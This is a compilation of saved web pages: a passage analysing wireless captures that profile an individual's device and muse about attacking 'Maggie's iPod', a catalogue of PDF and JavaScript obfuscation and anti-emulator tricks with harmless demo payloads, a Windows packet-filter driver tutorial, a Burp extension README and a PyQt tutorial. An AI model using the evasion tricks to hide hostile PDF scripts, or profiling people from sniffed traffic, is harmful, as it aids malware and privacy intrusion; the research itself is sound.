    16:27:17.131279 Probe Request (Wayport_Access) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:19.183281 Probe Request (Seaport) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:21.182520 Probe Request (Hynes Wireless Network) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:23.146459 Probe Request (iscguest) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:25.096483 Probe Request (LawLibrary) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:27.095193 Probe Request (roofnet) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:29.176267 Probe Request (in4net) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:33.146455 Probe Request (Harvard University) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:35.185946 Probe Request (default) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:37.613369 Probe Request (Back Bay Events Center) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:39.170252 Probe Request (Algonquin Club WiFi) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:43.587718 Probe Request (BostonPublicLibrary) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:45.285541 Probe Request (loganwifi) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:47.388067 Probe Request (CRS WAP) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:49.336783 Probe Request (HCBostonMember) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:51.285535 Probe Request (Linksys Secure) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:53.285419 Probe Request (Warehouse) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    
    
[/code]

From Bob's capture, and again from the same MAC address, we also are able to
capture some interesting network traffic. We can use this information in
conjunction with the wireless info to create an even more detailed picture
about the individual:

[code]

    16:36:08.526921 IP 0.0.0.0.bootpc > broadcasthost.bootps: BOOTP/DHCP, Request from 00:1e:52:b6:19:9b (oui Unknown), length 300
    16:36:10.307924 IP 169.254.140.137 > 224.0.0.251: igmp v2 report 224.0.0.251
    16:36:12.949124 IP 169.254.140.137.mdns > 224.0.0.251.mdns: 0*- [0q] 1/0/0 (Cache flush) A 169.254.140.137 (40)
    16:36:37.923110 arp who-has 10.71.0.123 tell 10.71.0.123
    16:36:43.001662 IP 10.71.0.123.netbios-ns > 10.71.15.255.netbios-ns: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
    16:36:49.532485 IP 169.254.44.240.netbios-ns > 169.254.255.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
    16:46:53.719602 IP 169.254.44.240.netbios-ns > 169.254.255.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
    16:47:21.229266 IP 169.254.44.240.netbios-ns > 169.254.255.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
    
    
[/code]

For some reason, Wireshark displayed some interesting domain information in
the netbios requests. I suspect that I exported the packtes wrong, so the info
isn't shown with the tcpdump output, but here they are in Wireshark:

http://www.pauldotcom.com/wiki/images/Interesing\_nbt.png

Now, what else can we assume about the individual, and potential
network/desktop policies in play?

On an unrelated note, Bob also picked up an MDNS request:

[code]

    16:48:51.923694 IP 169.254.221.155.mdns > 224.0.0.251.mdns: 0 [1n] ANY (QU)? Maggie-s-iPod-touch.local. (59)
    
    
[/code]

I wonder if we could then have some fun with MDNS and Maggie's device? What
about when it gets synced with her workstation? Can we have some fun with that
too?

# PDFTricks - corkami - a summary of PDF tricks - encodings, structures,
javascript... - reverse engineering experiments and documentations - Google
Project Hosting

**Created:**| _7/15/2011 2:51:32 PM_  
---|---  
**Updated:**| _7/15/2011 2:51:32 PM_  
**Author:**| __  
**Tags:**| _Hacks pdf_  
  

<img src='img/Temp2_5992.gif' width='15' height='15' /> PDFTricks

_a summary of PDF tricks - encodings, structures, javascript..._

Updated  Jul 12 \(2 days ago\) by ange.alb...@gmail.com

This is a summary of PDF tricks, either based on data encodings, javascript,
or PDF structure.

DISCLAIMER: The files are clean, and hand written by me, for better
understanding and perfect clarity. However, because they use various tricks
also present in malwares, they might be detected by your antivirus, or crash
your usual program. They all work under Adobe Acrobat though, which is the
point here.

> In short: they're odd, but they work, and they're clean.
for many more Javascript tricks, check the JavaScript Garden

for direct downloads, see the SVN directory

# encodings

any data \(or string\) can be encoded in various ways.

## hex

a string can be stored as hex

> Example of `Hello World!` string, with each character encoded by its value
> in hexadecimal \(download\):
[code]

>     48656c6c6f20576f726c6421
[/code]

## octal

another classic one, each character is encoded in octal.

> Example of `Hello World!` string, with each characters encoded by its value
> in octal \(download\):
[code]

>     \110\145\154\154\157\40\127\157\162\154\144\41\
[/code]

## whitespaces between nibbles

so far so good, nothing too weird. However, it wouldn't be Adobe if something
wasn't unexpected.

While it's common to separate hex numbers with space \(`00 01 02...`\), in a
PDF, any kind of whitespace can be used \(newline, tab, ...\), and even
between the 2 digits of the same number.

> Example of `Hello World!` string, encoded as hexadecimal, with extra
> whitespace between the nibbles \(download\):
[code]

>     4  
>     > 8  
>     > 6  
>     >  
>     >  
>     >      5  
>     > 6       c 6c 6f                 20  
>     >  
>     >  
>     >  
>     > 576f726c6421
[/code]

## ascii newlines

Ascii can be stored as ascii \(hopefully\), but newlines can be inserted
too...

> Example of `Hello World!` string, stored as ASCII, with extra new lines
> characters. \(download\):
[code]

>     [...]  
>     > }\  
>     > \  
>     > \  
>     > \  
>     > \  
>     > \  
>     > \  
>     > H\  
>     > e\  
>     > l\  
>     > \  
>     > \  
>     > \  
>     > \  
>     > \  
>     > l\  
>     > o\  
>     >  \  
>     > [...]
[/code]

# structure

## truncated signature

theoretically `%PDF-1.[4-6]`, the signature can be truncated to ignore the
last digit.

> Example of truncated header signature \(download\):
[code]

>     %PDF-1.
[/code]

## null signature

but it can be actually even shorter, provided you insert a null character.
\(download\)

> Example of null-based header trick:
[code]

>     %PDF-\0
[/code]

## Names tree

A PDF can contain a Names tree, in which each element is sequentially
evaluated. This way, a script can be split in various part, without any
obvious trigger such as OpenAction.

> Example of a JavaScript script, split into 2 parts in the Names tree
> \(download\):
[code]

>     [...]  
>     >   /Names  
>     > [...]  
>     >        /Names[  
>     >             (1) <<  
>     > [...]  
>     >                   msg = "Hello";  
>     > [...]  
>     >             (2) <<  
>     > [...]  
>     >                   msg = msg + " World!";  
>     >                   app.alert(msg);  
>     > [...]
[/code]

## no object

on Acrobat X, a valid PDF doesn't need an object.

> Example of a valid trailer-only, 36 bytes PDF, under Acrobat X \(download\):
[code]

>     %PDF-\0trailer<</Root<</Pages<<>>>>>>
[/code]

this trick doesn't work on previous version of Acrobat. For them, an object -
even empty, and with no index - has to be present.

> Example of a valid, 48 bytes PDF, for Acrobat <=9 \(download\):
[code]

>     %PDF-\0obj<<>>trailer<</Root<</Pages<<>>>>>>
[/code]

## wrong tags

Unexpected tags are just ignored. this goes the same for tags with incorrect
case.

> Example of a trailer with incorrectly cased tags \(download\):
[code]

>     trailer  
>     > <<  
>     > /Root  
>     >     <</tYpE/caTaLOG/Pages 1 0 R>>  
>     > >>
[/code]

## EOF

PDF is a format that supports incremental updates, so information can be
written beyond the %EOF.

> Example of a PDF where objects and trailer are beyond the EOF \(download\):
[code]

>     [...]  
>     > %%EOF  
>     >                
>     > % dummy object to make this PDF valid  
>     > [...]  
>     > 15 0 obj  
>     > [...]  
>     > % the trailer is not allowed to be before all other objects  
>     > trailer  
>     > <<  
>     > /Root<</Pages 1 0 R>>  
>     > >>  
>     >  
>     > 1 0 obj  
>     > <</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]  
>     > [...]  
>     >  
>     > 2 0 obj  
>     > <<>>  
>     > stream  
>     > BT/default 20 Tf 1 0 0 1 1 715 Tm(this text and the PDF objects are
> stored beyond the %%EOF tag)Tj ET  
>     > [...]
[/code]

## linearized

PDF are parsed bottom-up by default, except if the first object \(even a dummy
non-referenced object\) contains the /Linearized tag \(with a dummy value\)

> Example of a PDF parsed either bottom-up or top-down \(if linearized\)
> \(download\):
[code]

>     [...]  
>     > % inserting/removing a dummy first object will change the parsing
> direction  
>     > 12 0 obj <<<>>  
>     > [...]  
>     > 31415 0 obj  
>     > << /Linearized -42 >>  
>     > endobj  
>     > [...]  
>     > 2 0 obj  
>     > <<>>  
>     > stream  
>     > BT/default 35 Tf 1 0 0 1 1 715 Tm(this PDF has been parsed top-down)Tj
> ET  
>     > endstream  
>     > endobj  
>     > [...]  
>     > 20 0 obj  
>     > <<>>  
>     > stream  
>     > BT/default 35 Tf 1 0 0 1 1 715 Tm(this PDF has been parsed bottom-
> up)Tj ET  
>     > endstream  
>     > endobj  
>     > [...]  
>     > % if this trailer is taken in account, it will display 'Top-down'  
>     > trailer  
>     > <<  
>     > /Root  
>     >   <<  
>     >   /Pages 1 0 R  
>     >   >>  
>     > >>  
>     > [...]  
>     > % if this trailer is taken in account, it will display 'Bottom-up'  
>     > trailer  
>     > <<  
>     > /Root  
>     >   <<  
>     >   /Pages 10 0 R  
>     >   >>  
>     > >>
[/code]

# JavaScript-based encodings

Here are a few other encoding tricks, that use javascript \(not necessarily
specific to Acrobat's\)

## replace

simple obfuscation, add some extra character/switch then replace/restore them
before use.

> Example of `Hello World!` string, obfuscated with extra characters
> \(download\):
[code]

>     "zHzzezzlzlzozzzzz zWozrzldz!").replace(/z/g,"")
[/code]

## escaping

another standard javascript obfuscation, replace characters with escaped ones.

> Example of _Hello World\!_ string, encoded with javascript escaping
> \(download\):
[code]

>     unescape("%48%65%6C%6C%6F%20%57%6F%72%6C%64%21")
[/code]

## base encoding

like CAFEBABE can be read as a word or as a hex number, any uppercase word can
be written as a base32 \(32 or less, depending on the last \(in the alphabet\)
used character\) numbers.

> Example of a `HELLO WORLD!` string, with each word encoded as a number, in
> different bases \(download\):
[code]

>     (6873049).toString(25) + " " + (38842069).toString(33) + "!"
[/code]

## concatenation

the simplest tricks of all for strings in Javascript, split into parts, then
concatenate back.

> Example of a `Hello World!` string concatenated before display \(download\):
[code]

>     [...]  
>     >       B="Hell";  
>     >       on="o ";  
>     >       jour="World!";  
>     >       app.alert(B + on + jour);  
>     > [...]
[/code]

# JavaScript-based tricks

## eval

A classic: some code can be built in a string, then executed via evaluation.

> Example of a string of code being evaluated \(download\):
[code]

>     [...]  
>     >      eval('app.alert("Hello World!");');  
>     > [...]
[/code]

## substring

A function such as _alert_ can be called, not only directly, but also as a
substring of its parent object, _app_ in our example.

> Example of a JavaScript function called by a string reference from its
> parent \(download\):
[code]

>     [...]  
>     >      app["alert"]("Hello World!");  
>     > [...]
[/code]

## array

the previous example can be extended with a fake array with fake entries,
which makes the actual executed function harder to spot.

> Example of a code string evaluated via a fake array reference \(download\):
[code]

>     [...]  
>     >      e = ("fake1")[("fake2", "eval")]  
>     >      e('app.alert("Hello World!");');  
>     > [...]
[/code]

## callee

A JavaScript function can access its own code, and use it for anything. Thus,
any modification might prevent the function to work correctly: typically, such
functions use their code as a key for some decryption.

> Example of a decryption function, using its own code as decryption key
> \(download\):
[code]

>     [...]  
>     >       function decrypt(cipher)  
>     > [...]  
>     >             key = arguments.callee.toString();  
>     > [...]  
>     >             return plaintext;  
>     > }  
>     > [...]  
>     >       app.alert(decrypt(unescape(".%10%02%0F%1BI8%01R%08%01B")));  
>     > [...]
[/code]

# JavaScript + PDF

these tricks are hiding some information in one of the various component of
the PDF, and retrieving that information via \!Javascript.

## info

a PDF's trailer can contain an Info dictionary, whose elements' contents can
be retrieved via \!Javascript via the info object's properties.

> Example of a string being stored as element of a trailer's Info dictionary
> \(download\):
[code]

>     [...]  
>     >       /Info <</Author(Hello) /Title( World) /Producer( !)>>  
>     > [...]  
>     >       app.alert(info.author + info.title + info.producer);  
>     > [...]
[/code]

## annots

[code]

    [...]  
        /Annots  
    [...]  
             /Subj (Hello World!)  
    [...]  
          d = app.doc;  
          d.syncAnnotScan();  
          a = d.getAnnots({ nPage: 0 });  
          app.alert(a[0].subject);  
    [...]
[/code]

## getfield

An AcroForm Widget can contain some data and value, which can be retrieved via
the getField function.

> Example of a string stored in an AcroForm Widget \(download\):
[code]

>     [...]  
>     >   /AcroForm  
>     > [...]  
>     >         /Subtype/Widget  
>     >         /T(mydata)        % this is the name  
>     >         /V(Hello World!)  % this is the value  
>     > [...]  
>     >       app.alert(this.getField('mydata').value);  
>     > [...]
[/code]

## anti-emulators

### initial values

some Adobe specific global variables are initialized with default values, so
checking them might stop an emulator.

> Example of Acrobat Javascript code that checks initial values as an anti-
> emulator \(download\):
[code]

>     [...]  
>     >       if ((app)  
>     >         && (event.target.zoomType.toString() == 'FitPage'))  
>     > [...]
[/code]

### global variables

global variables show a different behavior as opposed to normal ones.

> Example of Acrobat Javascript code that sets global variables, and checks
> the result \(download\):
[code]

>     [...]  
>     >       hidden=0;  // global  
>     >       hidden_=0; // not global  
>     >       if ((hidden_ === 0) && (hidden !== 0))  
>     >           app.alert("nothing unusual detected.");  
>     > [...]
[/code]

# Minimalists PDF

## Page

to actually contain a page, an object, defining its kid as its parent, should
be referenced in trailer/Root/Pages.

> Example of a minimalist PDF with a page \(download\):
[code]

>     %PDF-\01 0 obj<</Kids[<</Parent 1 0 R>>]>>trailer<</Root<</Pages 1 0
> R>>>>
[/code]

## Page + Text

To define a text, the page should have empty resources, and a content, made of
the text itself.

> Example of a minimalist PDF with page + text, under Acrobat <=9
> \(download\):
[code]

>     %PDF-\01 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0
> R]>>]/Resources<<>>>>2 0 obj<<>>stream  
>     > BT/default 99 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET  
>     > endstream  
>     > trailer<</Root<</Pages 1 0 R>>>>
[/code]

Note this object doesn't have an endobj tag. However, it's required under
Acrobat X.

> Example of a minimalist PDF with page + text, under Acrobat X \(download\):
[code]

>     %PDF-\01 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0
> R]>>]/Resources<<>>>>2 0 obj<<>>stream  
>     > BT/default 99 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET  
>     > endstream  
>     > endobj  
>     > trailer<</Root<</Pages 1 0 R>>>>
[/code]

## JavaScript

to be able to use javascript, a PDF just needs to be empty \(see above\), with
an OpenAction in the trailer/root.

> Example of a minimalist PDF using Javascript, under Acrobat <=9
> \(download\):
[code]

>
> %PDF-\0obj<<>>trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript/JS(app.alert('Hello
> World!');)>>>>>>
[/code]

> Example of a minimalist PDF using Javascript, under Acrobat X \(download\):
[code]

>
> %PDF-\0trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript/JS(app.alert('Hello
> World!');)>>>>>>
[/code]

# Corrupted streams

if a FlatEncoded stream is truncated or corrupted, it will be taken as is
until the error - and still interpreted.

An easy way to get the original corrupted stream to decompress like Reader
would, is to prune it into a template PDF with attachment. This way, Adobe
Reader will be the one decompressing the stream: \(prune script \+ attachment
template\)

# References

  * Didier Stevens
  * Kazumasa Itabashi
  * Sebastian Porst

# NT networking & kernel mode: drivers, articles, sources

**Created:**| _3/18/2011 5:12:40 PM_  
---|---  
**Updated:**| _3/18/2011 5:12:40 PM_  
**Author:**| __  
**Tags:**| _bookmark windows environment_  
  
**ARTICLES** **ipfilter**  
  
**Windows 2000 Filter-Hook Driver example**  
  
**\[view source\]**  
  
**ABSTRACT**  
  
Windows 2000 has very simple to use API for IP packets capturing and
filtering. It's ideal for educational purposes because you can dynamically
install and uninstall your hook.  
  
**HOW IT WORKS**  
  
You have your callback function looks like this:  

[code]

    PF_FORWARD_ACTION
    PacketFilterExtension(
            unsigned char *PacketHeader,
            unsigned char *Packet,
            unsigned int PacketLength,
            unsigned int RecvInterfaceIndex,
            unsigned int SendInterfaceIndex,
            IPAddr RecvLinkNextHop,
            IPAddr SendLinkNextHop);
    
[/code]

  
Which is called for each packet received or sent by TCP/IP. You can see packet
header and data. And you can allow or deny packet i.e. do packet filtering.  
  
See details in **MSDN**.  
  
**KERNEL-MODE PROGRAMMING**  
  
The bad is your callback function is called in kernel mode. The simpliest way
to implement it is to do a kernel-mode driver. If you haven't experience with
kernel-mode programming learn it.  
  
**SOURCES**  
  
This example contains of the next files:  
  
makefile  
sources  
**ipfilter.c**  
  
"makefile" is the same as standart makefile for drivers:  
  
\#  
\# DO NOT EDIT THIS FILE\!\!\! Edit .\sources. if you want to add a new source  
\# file to this component. This file merely indirects to the real make file  
\# that is shared by all the driver components of the Windows NT DDK  
\#  
  
\!INCLUDE $\(NTMAKEENV\)\makefile.def  
  
"sources" is file as been told in comments above is file with list of source
files and build options. Here it is:  
  
TARGETNAME=ipfilter  
TARGETPATH=obj  
TARGETTYPE=DRIVER  
  
SOURCES=ipfilter.c  
  
  
And **ipfilter.c** is the main file.  
  
**HOW TO BUILD IT**  
  
You must have Windows 2000 DDK \(or XP DDK but I didn't test it\) to build
kernel-mode driver. Okay, you've got it. The easiest for the first time is to
open "Checked Build Environment" console. On Windows 2000
Start->Programs->Development Kits->Windows 2000 DDK->Checked Build
Environment.  
  
Then change directory to directory where the "sources" file is. And enter
"build". For me it looks like this:  
  
C:\NTDDK>cd \vlad\ipfilter  
  
C:\vlad\ipfilter>build  
BUILD: Object root set to: ==> objchk  
BUILD: /i switch ignored  
BUILD: Compile and Link for i386  
BUILD: Loading c:\NTDDK\build.dat...  
BUILD: Computing Include file dependencies:  
BUILD: Examining c:\vlad\ipfilter directory for files to compile.  
c:\vlad\ipfilter - 1 source files \(124 lines\)  
BUILD: Saving c:\NTDDK\build.dat...  
BUILD: Compiling c:\vlad\ipfilter directory  
Compiling - ipfilter.c for i386  
BUILD: Linking c:\vlad\ipfilter directory  
Linking Executable - objchk\i386\ipfilter.sys for i386  
BUILD: Done  
  
1 file compiled  
1 executable built  
  
C:\vlad\ipfilter>  
  
The result of compilation is ipfilter.sys file. For Windows 2000 DDK it's in
"objchk\i386" directory.  
  
**HOW TO START IT**  
  
First, I recommend you to flush caches on your discs. That's because a bug in
kernel-mode driver can give you Blue Screen Of Death \(BSOD\) and probably you
can loose some of your data for open files \(even on NTFS\).  
  
You can use **sync** utility from SysInternals site.  
  
C:\vlad\ipfilter>sync  
  
Sync 2.1: Disk Flusher for Windows 9x/Me/NT/2K/XP  
Copyright \(C\) 1997-2001 Mark Russinovich  
Sysinternals - www.sysinternals.com  
  
Flushing: C D  
  
Next, get from any place "instdrv" utility. It was in NT4 DDK but I didn't
find it in Windows 2000 DDK. I don't remember where I find it. With help of
this utility you can start and unload driver.  
  
But before starting your driver you must have "ipfilterdriver" service
started. For debug purposes you can do it manually.  
  
C:\vlad\ipfilter>net start ipfilterdriver  
  
The IP Traffic Filter Driver service was started successfully.  
  
  
C:\vlad\ipfilter>instdrv ipfilter C:\vlad\ipfilter\objchk\i386\ipfilter.sys  
CreateService SUCCESS  
StartService SUCCESS  
  
C:\vlad\ipfilter>  
  
Note that you have to specify the full path to driver. Now we have driver
started. The driver outputs some debug information each type packet is sent or
received. You can view debug output by SysInternals' **dbgview** utility.
Start it.  
  
And now make network activity. For example:  
  
C:\vlad\ipfilter>ping 127.0.0.1  
  
...  
  
And the last unload your driver. Do it the next way:  
  
C:\vlad\ipfilter>instdrv ipfilter remove  
ControlService SUCCESS  
DeleteService SUCCESS  
  
**COMMENTS TO IPFILTER.C**  
  
Look at the begin of file.  
  
\#include <ntddk.h>  
  
/\* include pfhook.h \*/  
typedef ULONG IPAddr, IPMask;  
\#include <pfhook.h>  
  
...  
  
<ntddk.h> file is the base header file for kernel-mode drivers.  
  
<pfhook.h> file is header file for IP filter hook drivers. There's one problem
to include it. Types IPAddr and IPMask are undefined for some reasons.  
  
The file contains four functions:  
  
1\. _DriverEntry\(\)_  
  
Calls set\_hook\(\) and registers unload routine OnUnload\(\).  
  
2\. _OnUnload\(\)_  
  
Removes hook.  
  
3\. _set\_hook\(\)_  
  
a\) Gets device object for \Device\IPFILTERDRIVER  
  
b\) Prepares I/O control IOCTL\_PF\_SET\_EXTENSION\_POINTER for setting
callback function.  
  
c\) And sends it to ipfilter driver.  
  
4\. _hook\_proc\(\)_  
  
Outputs debug information and returns PF\_FORWARD to allow packet to be
received or forwarded. For more information search for
PacketFilterExtensionPtr in DDK documentation and "DDK\inc\pfhook.h".  
  
**INTERFACE INDEX**  
  
What values can be in RecvInterfaceIndex or SendInterfaceIndex parameters and
how to get interface name? Use GetAdaptersInfo\(\) function.
Recv/SendInterfaceIndex is the same as IP\_ADAPTER\_INFO Index field. Note:
the function is user-mode and you need user-mode helper service to call it.
Here's source:  

[code]

    _/* list (Ethernet) interfaces */_ int list_ip_interfaces(void)
    {
        IP_ADAPTER_INFO *adapt_info;
        DWORD status;
        ULONG size;
        UCHAR count = 0;
        
        _/* trying with only one interface */_
        size = sizeof(IP_ADAPTER_INFO);
        adapt_info = malloc(size);
        status = GetAdaptersInfo(adapt_info, &size);
        if (status != ERROR_SUCCESS) {
            _/* not enough space */_
            free(adapt_info);
            adapt_info = malloc(size);
            status = GetAdaptersInfo(adapt_info, &size);
        }
        
        while (adapt_info) {
            _/* Assuming only Ethernet adapters */_
            printf(_" eth%d: (%s): %s \n"_, count++, adapt_info->Description,
                    adapt_info->IpAddressList.IpAddress.String);
            adapt_info = adapt_info->Next;
        }
        return 1;
    }
    
[/code]

  
Thanks to Bers for information.  
  
**AUTOSTARTING OF DRIVER**  
  
If you want you driver is to be started automatically install it like instrv
utility does but change start type from SERVICE\_DEMAND\_START to
SERVICE\_AUTO\_START in CreateService\(\) call. And add dependence to
"ipfilterdriver" service. It'll start automatically. See CreateService\(\)
info in **MSDN**.  
  
Thanks to Bers for information.  
  
**QUESTIONS**  
  
I don't know is undocumented PF\_ICMP\_ON\_DROP return value \(see pfhook.h\)
working. May be someone tells me.  
---

# k4ch0w/PwnBack

**Created:**| _5/13/2017 4:49:26 PM_  
---|---  
**Updated:**| _5/13/2017 4:49:26 PM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest_  
  

  

###  README.md

# PwnBack

<img src='img/62129024-20fa-11e7-8113-2720d84225bc.png' width='888'
height='690' alt='Alt text' />

## Getting Started

PwnBack requires PhantomJS to run. You can download it from here

To understand why it is required currently see the section PhantomsJS

The plugin has several settings that a user can define depending on their
hardware setup.

  * \# of PhantomJS WebDrivers
    * The number of Firefox headless browsers to open. Be mindful of Burp Suite's memory settings
  * \# of HTTP Response Parsers
    * These are responsible for parsing requests generated by the WebDriver. You may gain very little by increasing this number.
  * Start Year
    * How far back in a Website's history you'd like to traverse
  * End Year
    * When to stop looking at a Website's History
  * PhantomJS Location
    * The location of the PhantomJS binary
  * Output Folder
    * Where to save results when the Export Results button is pressed
  * Domain
    * The domain name to crawl. example.com, example.org, etc.
  * CA Bundle
    * The CA certificate you wish to use for PhantomJS. You shouldn't need this, however, check Troubleshooting if no traffic is being generated

### Installing

In BurpSuite open the Extender Tab

Click the Add button

Locate the jar file included in this repo.

The current version of is v1.7.21, I am unable to guarantee backward support.

## Build

Run the following commands

[code]

    git clone https://github.com/k4ch0w/PwnBack.git
    cd PwnBack
    ./gradlew fatJar
[/code]

## Authors

  * **Paul Ganea** \- _Initial work_ \- k4ch0w

## License

This project is licensed under the MIT License - see the LICENSE.md file for
details

### PhantomJS

PhantomJS is required to correctly render pages produced by archive.org. The
service uses ajax calls to render the page, so if you don't use a web driver
that supports Javascript you will only receive the way back machines toolbar.

### Troubleshooting

There is an issue with the JVM's Cert storage on certain computers and the SSL
certificate provided by archive.org If you see no traffic being generate run
the following command and provide the path to the CA-Bundle

[code]

    curl --remote-name --time-cond cacert.pem https://curl.haxx.se/ca/cacert.pem
[/code]

  

# PyQT Tutorial

**Created:**| _1/11/2010 11:04:20 AM_  
---|---  
**Updated:**| _1/11/2010 11:04:28 AM_  
**Author:**| __  
**Tags:**| _python programming_  
  

**Tutorial: Creating GUI Applications in Python with QT**  
 _by Alex Fedosov_  
  

Python is a great language with many awesome features, but its default GUI
package \(TkInter\) is rather ugly. Besides, who wants to write all that GUI
code by hand, anyway? Instead, a much better way to write GUI apps in Python
is to use Trolltech's QT Designer to WYSIWYG-ly create a nice-looking
interface, and then automatically generate the necessary code for it with
`pyuic` \(which is a UI compiler for QT that comes with the `PyQT` package.\)
QT designer also makes it very easy to add Python code to your project. \(If
you want your app to do anything useful, you will undoubtedly need to write
some code. :\) \)  
  
So the following is a brief tutorial on how to go about creating your first
semi-interesting application with Python & QT.  
  

**We are going to create a little application that will take input from the
user, add said input to a list box and also allow the user to clear the
contents of the list box.**  
---  
First, you need to have the following packages installed:  

  * Python 2.x
  * PyQt 3.x
  * QT Designer 3.x

I did everything with default packages that came with Fedora Core 1, and had
no problems. Also tested on RedHat 9 with no problems. YMMV. \(Note: RedHat
8.0 should also work, but it has an older version of QT designer, which is not
as nice as the one in RH9 and FC1.\)

So if you have everything, we can go ahead and get started. Launch QT
designer. In RedHat 9 and Fedora Core 1, it lives under Programming/More
Programming menu.

  

<img src='img/Temp2_6519.png' />

  

QT Designer will come up. It looks like this.

<img src='img/Temp2_6525.png' />

  

In the New/Open dialog box, click on Dialog, and hit OK.

  

<img src='img/Temp2_6530.png' />

  

QT Designer will create a new dialog canvas for you and call it `Form1`.

  

<img src='img/Temp2_6518.png' />

  

In the toolbar on the left select the LineEdit tool and create an edit box on
the canvas. Its name will be `lineEdit1`. This is how we will take input from
the user.

  

<img src='img/Temp2_6523.png' />

  

Now, select the ListBox tool in the toolbar on the left and create a list box
on the canvas. Its name will be `listBox1`. This is where we will store the
input that the user typed in.

  

<img src='img/Temp2_6528.png' />

  

Notice that there is already an item in the box. We don't need it. Let's get
rid of it. Double-click on your list box on the canvas. A dialog will pop up
showing the contents of the list box. Hit **Delete Item** to get rid of the
item. Then click OK.

  

<img src='img/Temp2_6531.png' />

  

Now, select the PushButtontool in the toolbar on the left and create a button
on the canvas. Its name will be `pushButton1`.

  

<img src='img/Temp2_6520.png' />

  

Double-click on the button on the canvas. A dialog will come up where you can
change the text displayed on the button. Let's rename it to X. Then click OK.

  

<img src='img/Temp2_6521.png' />

  

Now, let's make the button do something. In QT terminology, our button will
send a **signal** which will be received by a **slot**. \(Think of a slot as a
method of an object that will get called in response to an event, like user
clicking the button.\) Remember that we want to clear the list box when the
user clicks the button. There are already built-in methods for this, so we'll
take advantage of them. To connect a signal to a slot we use the connect tool
which is the red arrow on the green rectange in the top toolbar on the right.
It looks like this:

<img src='img/Temp2_6527.png' />

  

Here's the tricky part. After selecting the tool, click on your X button on
the canvas, and drag the mouse \(without releasing\) to your listbox on the
canvas. Once you are over the listbox \(it will be highlighted\), you will see
a line from the button to the listbox, and you can release the mouse. Another
dialog box will pop up where you can specify exactly which signal and slot you
want to connect. Select `pushButton1` as the sender, `clicked()` as the
signal, `listBox1` as the receiver and `clear()` as the slot. Then click OK.
\(The meaning of this is that we want to delete all contents of the box when
the user clicks the button.\)

  

<img src='img/Temp2_6522.png' />

  

In the previous step, we used a built-in slot to accomplish something. Now,
let's create our own slot, which will take input from the edit box and add it
to the list box when the user presses enter after typing something. To create
a new slot \(remember, it's just a method\), select **Slots** from the
**Edit** menu.

  

<img src='img/Temp2_6517.png' />

  

A dialog listing custom slots will show up. Initially, it will be empty. Let's
add a new slot by clicking **New Function**. Let's call this function
`AddEntry()` \(don't forget the parentheses when typing in the new name\)
because it will add a new item to the list box. Don't change any other
settings and just click OK. \(We'll write the code for this method later on.\)

  

<img src='img/Temp2_6532.png' />

  

Now that we have a slot, we can connect something to it. Recall that we want
to add an item to the list when the user types something in the edit box and
presses Enter. Select our good friend the connect tool and now connect the
line edit to the list box. The connection dialog will pop up again. This time
select `lineEdit1` as the sender, `returnPressed()` as the signal, `Form1` as
the receiver, and our own `AddEntry()` as the slot.

  

<img src='img/Temp2_6533.png' />

  

Finally, we are ready to write some code. We need to implement our
`AddEntry()` method. In the **Project Overview** window in the top right-hand
corner, double-click on the `form1.ui.h` file. \(The second one, under your
main file.\) A window will pop up showing the text of this file. This file is
where you implement all your custom slots, which will then be included during
the compilation process. Notice that QT designer already put in a header for
our `AddEntry()` function... except that it's in C++\! Don't worry about that,
however, we can still write Python code here right between the braces, and it
will work just fine. \(Python UI compiler is smart enough to understand the
headers generated by QT designer.\) The only problem is that QT designer wants
to auto-indent your code, but it expects semi-colons at the end of line, so
naturally Python confuses it and the indentation gets all screwed up. So
alternatively, you can just use your favorite editor \(read: vi\) to edit this
file. \(Or figure out how to turn off auto-indent.\)

  

<img src='img/Temp2_6524.png' />

  

So what code do we write? We need to accomplish three things:

  * Grab the text from the line edit
  * Insert the text into the list box
  * Clear the line edit

All the slots you define are methods of the dialog box, and all your widgets
are objects within it, and you can just refer to them by their names. So
`self.lineEdit1` is the line edit, and `self.listBox1` is the list box. The
line edit has a method called `text()` which returns a `QString` object
representing the text in the line edit. Without going into too much details
about these objects, all we need to know is that a `QString` object has an
`ascii()` method which will return the raw ASCII string of the entered text.
So to get the text out of the list box:

`e = self.lineEdit1.text().ascii()`

  

Next thing we need to do is add this text to the list box. The list box has a
method `insertItem()` which takes a string and adds it to the list:

`self.listBox1.insertItem(e)`

Finally, we just clear the line edit with its `clear()` method:

`self.lineEdit1.clear()`

  

<img src='img/Temp2_6529.png' />

  

